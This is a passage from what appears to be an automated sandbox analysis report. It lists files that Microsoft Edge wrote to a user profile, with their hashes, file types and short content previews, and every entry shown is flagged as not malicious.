Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374781593854764","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\826f2651-3316-4d28-bd16-700a35fac11f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17842), with no line terminators
Category:	dropped
Size (bytes):	17843
Entropy (8bit):	5.489347681462315
Encrypted:	false
SSDEEP:	384:stkPGKSu4Qsr9fhgUponu3CGYdFSbGeQwJ6WHlaTYi:sKOxuQ9fjPbGtK5aTYi
MD5:	41A7740123418C46185744450E758319
SHA1:	21C4D7E60589D9DB2D490CE9B065A566E85C3473
SHA-256:	50B66C5908C0DB43A9113F83DE20AB1C758DF6CB720DE2B539333FD681E86197
SHA-512:	3824A115D972583225D10DCE36A1157605D6E1232E8FEA16B61B486DA7DDBA497EBD2740A1BA13E4775F77AAB89073B48F0EA683F348C15081809B2065CB4C71
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374781593854764","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\93cde842-d392-4377-b17c-d73f84168819.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17842), with no line terminators
Category:	dropped
Size (bytes):	17843
Entropy (8bit):	5.489084682779559
Encrypted:	false
SSDEEP:	384:stkPGKSu4Qsr9fhgUponu3CGYdFSbGeQwJ6W2laTYi:sKOxuQ9fjPbGtKEaTYi
MD5:	B797E0E3A1A916A429529E2527F975F7
SHA1:	BC8929357435A2D6AA797056347DA901C0FCFC91
SHA-256:	E758D013BFA3941D81A9E8FB70D889CDB3CCE0B430B0E61927C34B6719C2027C
SHA-512:	7D8D7C4477F93D41CCF168B028A47D65129148F4A71A73E6B1521C9B2B1945E342AB3C99CE050F32EED94186908C090878C7C1F7699CDD7D5AAE5D9B55C93E32
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374781593854764","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.243468992234907
Encrypted:	false
SSDEEP:	6:6BhU4M1923oH+Tcwtp3hBtB2KLlgBhgq2P923oH+Tcwtp3hBWsIFUv:6BhU4hYebp3dFLCBhgv4Yebp3eFUv
MD5:	A8AB93A5F6EB34A1AE506B0CD6E19ADD
SHA1:	AFB5C048CA2D988ADFB1F67DA43FC6BCC04CFA80
SHA-256:	44FEA1CB62192F72CCA9CD3138F44D8E3FFE31A58629CDAEE771A292BF9F74F3
SHA-512:	8FE7A3206C24C570B1F2BA97661B47049761E24315289AFF596946D81C33175FF05979363B5C61B9BCD5D3D924EA1F77B2F2386977DA3EBE8B5420A4442EF873
Malicious:	false
Preview:	2024/10/30-13:06:37.633 1bf4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/30-13:06:37.649 1bf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222867227422203
Encrypted:	false
SSDEEP:	24576:v+/PN8FifI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8ofx2mjF
MD5:	48EC4CAB252BE245C12BE833D69FE10A
SHA1:	2D43557E792A17B87E92E03336CAD742A43A1F46
SHA-256:	13B3F1A5AEA45F75CF4D5ABA8C993EE3D00E0A3562007235424EF52D69314286
SHA-512:	83513B5F198599E43B84F037D21A450429C04CFE9AE4CBB48C3C572F04E5879FF5D4539006CED58BC3528600E93BC98B1FC955D684F95B8A9EB6891EEB917EAC
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.104365880433746
Encrypted:	false
SSDEEP:	6:6BvXVNLAQyq2P923oH+Tcwt9Eh1tIFUt8vBvXXSAG1Zmw+vBvTdTEAQRkwO923of:6BPnLAVv4Yeb9Eh16FUt8vBPXSAG1/+J
MD5:	C1351DB69C3D788EC5C7ED4DACB48255
SHA1:	B18DF52119E9A8394D3E49E61CAD0691829AEBF5
SHA-256:	EBD7AECA9618C4CBD976677E3FEB686905637D37CA534DA4B708B0409AE01EC4
SHA-512:	15291AB5A7110BDD041D9097583302146A7DB4257ADF8277AB95C232FED4D5411BFCEE63F1172FBC11D239224C26027CF836FF557DCA5D5325038A787637CF7B
Malicious:	false
Preview:	2024/10/30-13:06:39.209 20c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-13:06:39.228 20c4 Recovering log #3.2024/10/30-13:06:39.686 20c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.104365880433746
Encrypted:	false
SSDEEP:	6:6BvXVNLAQyq2P923oH+Tcwt9Eh1tIFUt8vBvXXSAG1Zmw+vBvTdTEAQRkwO923of:6BPnLAVv4Yeb9Eh16FUt8vBPXSAG1/+J
MD5:	C1351DB69C3D788EC5C7ED4DACB48255
SHA1:	B18DF52119E9A8394D3E49E61CAD0691829AEBF5
SHA-256:	EBD7AECA9618C4CBD976677E3FEB686905637D37CA534DA4B708B0409AE01EC4
SHA-512:	15291AB5A7110BDD041D9097583302146A7DB4257ADF8277AB95C232FED4D5411BFCEE63F1172FBC11D239224C26027CF836FF557DCA5D5325038A787637CF7B
Malicious:	false
Preview:	2024/10/30-13:06:39.209 20c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-13:06:39.228 20c4 Recovering log #3.2024/10/30-13:06:39.686 20c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.462237873374466
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuL+:TouQq3qh7z3bY2LNW9WMcUvBua
MD5:	BAFB11FA5DB5B277275F4F6B5D69CF06
SHA1:	9F0580A651B61F4AA80CB52CE5ACD9664FB96F12
SHA-256:	1B6183FE9A397A6F1FA890B35DB3ADA469A80014B3F96606D1A87C184F1820BC
SHA-512:	E62E55B6553A2AF24C1479C463DDD8EE9ED62FEEFE7DCB3F691E51EE0982CC7B7D60F87395B5B648C4CB260C6D9E69B948049950463C8645E4BBA57779468F7B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.161546796478901
Encrypted:	false
SSDEEP:	6:6Btyz3+q2P923oH+TcwtnG2tMsIFUt8vBtyzXZmw+vBtRVkwO923oH+TcwtnG2tF:6Bty6v4Yebn9GFUt8vBtyz/+vBt/5LYi
MD5:	B79A4573360FDB4A9F0ADCFA3242D99A
SHA1:	480EB250ADC925C7D7D1D7CC08A73B05D6AEE618
SHA-256:	1E5D496684378A3F6930B30A869F08DB4247900E2677AEB0798FBFA178B54E6B
SHA-512:	3BD84FD1BFBB524D3FAA8D702977A3BEA54B20E92EB0D1CC43C3C26727078FA9ADEF5FADC9FE168646DAB0148FF9E61493DBCDBCB176D63A4060BB4839D1D7A1
Malicious:	false
Preview:	2024/10/30-13:06:33.393 1dc8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-13:06:33.393 1dc8 Recovering log #3.2024/10/30-13:06:33.394 1dc8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.161546796478901
Encrypted:	false
SSDEEP:	6:6Btyz3+q2P923oH+TcwtnG2tMsIFUt8vBtyzXZmw+vBtRVkwO923oH+TcwtnG2tF:6Bty6v4Yebn9GFUt8vBtyz/+vBt/5LYi
MD5:	B79A4573360FDB4A9F0ADCFA3242D99A
SHA1:	480EB250ADC925C7D7D1D7CC08A73B05D6AEE618
SHA-256:	1E5D496684378A3F6930B30A869F08DB4247900E2677AEB0798FBFA178B54E6B
SHA-512:	3BD84FD1BFBB524D3FAA8D702977A3BEA54B20E92EB0D1CC43C3C26727078FA9ADEF5FADC9FE168646DAB0148FF9E61493DBCDBCB176D63A4060BB4839D1D7A1
Malicious:	false
Preview:	2024/10/30-13:06:33.393 1dc8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-13:06:33.393 1dc8 Recovering log #3.2024/10/30-13:06:33.394 1dc8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6137937361242477
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWgcUlMAqi6c:TLapR+DDNzWjJ0npnyXKUO8+jqkpqmL
MD5:	60399803EC3D1FAEE898C00424DB7591
SHA1:	E63967705F1EFAC6074FED23705A151F21CC86D9
SHA-256:	D6FE12A6A9F7C892EAF06BEDB222B5300A9F71C04513BE94BB261444DCB23954
SHA-512:	FEE0AF8457C4E77D76F0DE6BF33D54C0978991C1BBB3EFA6478D64E21F76AD364F1053D7995AB67490107ACDCF545224D7BBC46540C2C5D334F81B0388D687C6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354074230612667
Encrypted:	false
SSDEEP:	6144:1A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:1FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	5A531E8D47215DC57CA716650073B735
SHA1:	1D08073E33A64447E0FAFC4288A61696B5D3C30B
SHA-256:	79E46B0C1563FCA4D9203B80E577B602E28EA02DCF7DB9756228C9BE7A805DCE
SHA-512:	C16663D02DEC349E3E24CD08EF6C3E143D0377F88966AC25ECB8655E5D3DE3177B7490BD6C86E6CD20A1881DF9100422458AAA657E80F9D544C5E41B2B73B5A4
Malicious:	false
Preview:	...m.................DB_VERSION.1(.c.q...............&QUERY_TIMESTAMP:domains_config_gz2...13374781600048901..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.169871286949859
Encrypted:	false
SSDEEP:	6:6BiD1923oH+Tcwtk2WwnvB2KLlgBvRM+q2P923oH+Tcwtk2WwnvIFUv:6BPYebkxwnvFLCBC+v4YebkxwnQFUv
MD5:	8E2A8036425AA666DB342C075307199C
SHA1:	5FE312DCDFFFB817376E2BE17A188345BE8F3D1D
SHA-256:	C8AA5E473922CD31313BCE174BCC89BF86729553B970592C59E49AC481339572
SHA-512:	B3DB7DFFA4127B73807CBE5665E0BC7FBE60D4504983363E22D037753CD14C8B7F1A1D5A4ACBE19A3B228FD97F42403FB78B4B98FD1899F6509370ECBA5B3CB7
Malicious:	false
Preview:	2024/10/30-13:06:38.949 20ac Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/30-13:06:39.157 20ac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324600556062554
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RZ:C1gAg1zfvh
MD5:	372A96B1050657C16FC0D4573AD36A4D
SHA1:	405136CDF31D3E8C979D099B3B262AD89946E7CF
SHA-256:	DBD2FBAC98E402D46EE5309F757B6B2457CED25DEFB1FCC7385E145BCA9E5C01
SHA-512:	4AE71B2F34CD4B72C2426A74F01568E23CFE417F9477CD424049B1FF1B84311AAC56DAF54AB3FA682991345CD69B23614C4684CD6C38D4A5DF1FEA43E2874D21
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

